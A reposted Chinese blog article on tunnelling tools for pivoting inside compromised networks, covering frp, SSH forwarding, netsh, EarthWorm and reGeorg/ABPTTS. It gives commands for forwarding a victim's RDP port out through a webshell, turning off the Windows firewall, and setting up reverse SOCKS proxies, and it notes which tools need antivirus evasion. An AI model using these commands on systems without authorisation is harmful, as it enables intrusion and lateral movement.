內網滲透中常用的隧道工具


frp

項目地址

https://github.com/fatedier/frp/

簡介

  • frp 是一個可用於內網穿透的高性能的反向代理應用,支持 tcp, udp 協議,為 http 和 https 應用協議提供了額外的能力,且嘗試性支持了點對點穿透
  • 跨平台支持linux,win,mac
  • 類似於ngrok,運維、開發人員經常使用它管理內網機器和調試程序,例如將內網的22,3389轉發到公網,開發人員將本地web服務轉發到公網調試,msf/rat遠控的內網上線,可以代替前幾年流行的”內網通”服務
  • 優點:不需要免殺,支持加密傳輸

基本用法

  • 在有公網ip的vps上部署服務端,然后在目標的內網機器上運行客戶端即可反連公網機器,根據配置把內網中的目的端口轉發到公網的那台機器上。網上也有一些免費和收費frp服務,可以免去自己部署服務端。

  • 簡單示例:
    服務端和客戶端均支持配置文件ini運行和命令行運行,下面示例為命令行。

    1
    2
    服務端:./frps -p <服務監聽端口> -t <token>
    客戶端:./frpc tcp -s <服務端ip>:<服務端端口> -r <在服務端監聽的對應端口> -i <內網地址> -l <內網端口> -t <token> --ue --uc

    –ue –uc 分別為加密和壓縮(use_encryption && use_compression)

    例如通過webshell轉發出該機器的3389端口

    1
    2
    你的機器:./frps -p 7890 -t woshitoken
    Webshell: frpc.exe tcp -s 1.1.1.1:7890 -r 9999 -i 127.0.0.1 -l 3389 -t woshitoken --ue --uc

    此時訪問你機器的9999端口,即可訪達目標機器的3389端口。

  • 更多參數用法查看github項目。


SSH

簡介

  • SSH 會自動加密和解密所有 SSH 客戶端與服務端之間的網絡數據。但是,SSH 還同時提供了一個非常有用的功能,這就是端口轉發

  • 優點:linux自帶,傳輸加密,支持socks代理

用法示例

相關參數:

1
2
3
4
5
6
7
-C :壓縮數據傳輸。
-f :后台認證用戶/密碼,通常和-N連用,不用登錄到遠程主機。
-N :不執行腳本或命令,通常與-f連用。
-g :在-L/-R/-D參數中,允許遠程主機連接到建立的轉發的端口,如果不加這個參數,只允許本地主機建立連接。
-L :本地轉發
-R :遠程轉發
-D :動態轉發,即socks代理
本地轉發(本地建立監聽)
1
2
ssh -C -f -N -g -L <本地監聽ip>:<本地端口>:<遠程ip>:<遠程端口> 用戶名@目標IP -p <ssh端口>
ssh -C -f -N -g -L 0.0.0.0:1234:192.168.1.100:3389 root@192.168.2.101 -p 22
遠程轉發(遠端建立監聽)
1
2
ssh -C -f -N -g -R <遠程ip>:<遠程端口>:<本地ip>:<本地端口> 用戶名@目標IP -p <ssh端口>
ssh -C -f -N -g -R 0.0.0.0:1234:192.168.5.2:3389 root@192.168.2.101 -p 22

注:如果遠端不能監聽0.0.0.0,以下兩個方法:

1
2
3
4
5
1. 需要修改 ssh 配置/etc/ssh/sshd_config
GatewayPorts 項寫為 yes
重啟ssh后即可監聽0.0.0.0

2. 使用rinetd把監聽在127.0.0.1轉發到0.0.0.0上

 

動態轉發(socks)
1
2
ssh -C -f -N -g -D <本地ip>:<本地端口> 用戶名@目標IP -p <ssh端口>
ssh -C -f -N -g -D 0.0.0.0:1080 root@192.168.2.101 -p 22

socks代理上本地的1080端口,即可訪問192.168.2.101的內網環境


netsh

簡介

  • netsh是Network Shell的縮寫,是windows為我們提供的功能強大的網絡配置命令行工具。
  • 支持tcp,udp 正向端口轉發和修改防火牆規則,沒有反向轉發的功能,不支持socks。
  • 優點:win自帶,支持ipv4和v6。

用法

  • 在xp/2003下使用,要先安裝ipv6,裝完后需要重啟機器才能生效

    1
    netsh interface ipv6 install
管理防火牆
  • 對於xp/2003的操作命令不同與之后的系統,而且xp/2003的防火牆不區分出站入站

    1
    2
    3
    4
    5
    6
    netsh firewall show state 可查看防火牆的狀態,從顯示結果中可看到防火牆各功能模塊的禁用及啟用情況。
    netsh firewall set opmode disable 用來禁用系統防火牆
    netsh firewall set opmode enable 可啟用防火牆。

    netsh firewall add portopening TCP <端口號> "規則名稱" 允許xx端口出入站
    netsh firewall delete portopening TCP <端口號> 刪除該條規則
  • 對於 2003 以后的系統,命令如下

    1
    2
    3
    4
    5
    6
    netsh advfirewall show allprofiles 查看防火牆的狀態
    netsh advfirewall set allprofiles state on 開啟防火牆
    netsh advfirewall set allprofiles state off 關閉防火牆

    netsh advfirewall firewall add rule name="規則名稱" dir=in(in為入站,out為出站) action=allow(allow為放行,block為阻止) protocol=TCP localport=<端口號> 添加規則
    netsh advfirewall firewall delete rule name="規則名稱" dir=in protocol=TCP localport=<端口號> 刪除規則
端口轉發
1
2
3
netsh interface portproxy show all   查看所有已設置的轉發規則
netsh interface portproxy add v4tov4 listenport=<監聽端口> connectaddress=<將要轉發的ip> connectport=<將要轉發的端口> 添加轉發規則
netsh interface portproxy delete v4tov4 listenport=<轉發的端口> 刪除規則

ew(EarthWorm)

項目地址

https://github.com/rootkiter/EarthWorm

https://github.com/rootkiter/EarthWorm/blob/master/server/download/ew.zip

簡介

  • 支持正反向tcp端口轉發,類似lcx(htran)
  • 支持反向socks代理
  • 缺點:流量不加密,需要免殺

用法簡要說明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-l 本地要監聽的端口
-f 要主動連接的ip
-g 要主動連接的端口
-d 要反彈到的ip
-e 要反彈到的端口
-s 工作模式

工作模式支持如下:
lcx_tran 正向tcp端口轉發,監聽在本地
lcx_slave 反向tcp轉發客戶端
lcx_listen 反向tcp服務端
ssocksd 創建正向socks代理服務端,監聽在本地,直接把當前環境socks代理出去
rssocks 創建反向socks代理服務端
rcsocks 反向socks代理客戶端

reGeorg&ABPTTS

項目地址

https://github.com/sensepost/reGeorg

https://github.com/nccgroup/ABPTTS

簡介

兩款針對Web應用程序的HTTP隧道,使用方法簡單,詳情查看github項目

 

 

reGeorg 一直沒測試成功

SSH 用着他挺方便的,一般都是在msf中  開代理 映射


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM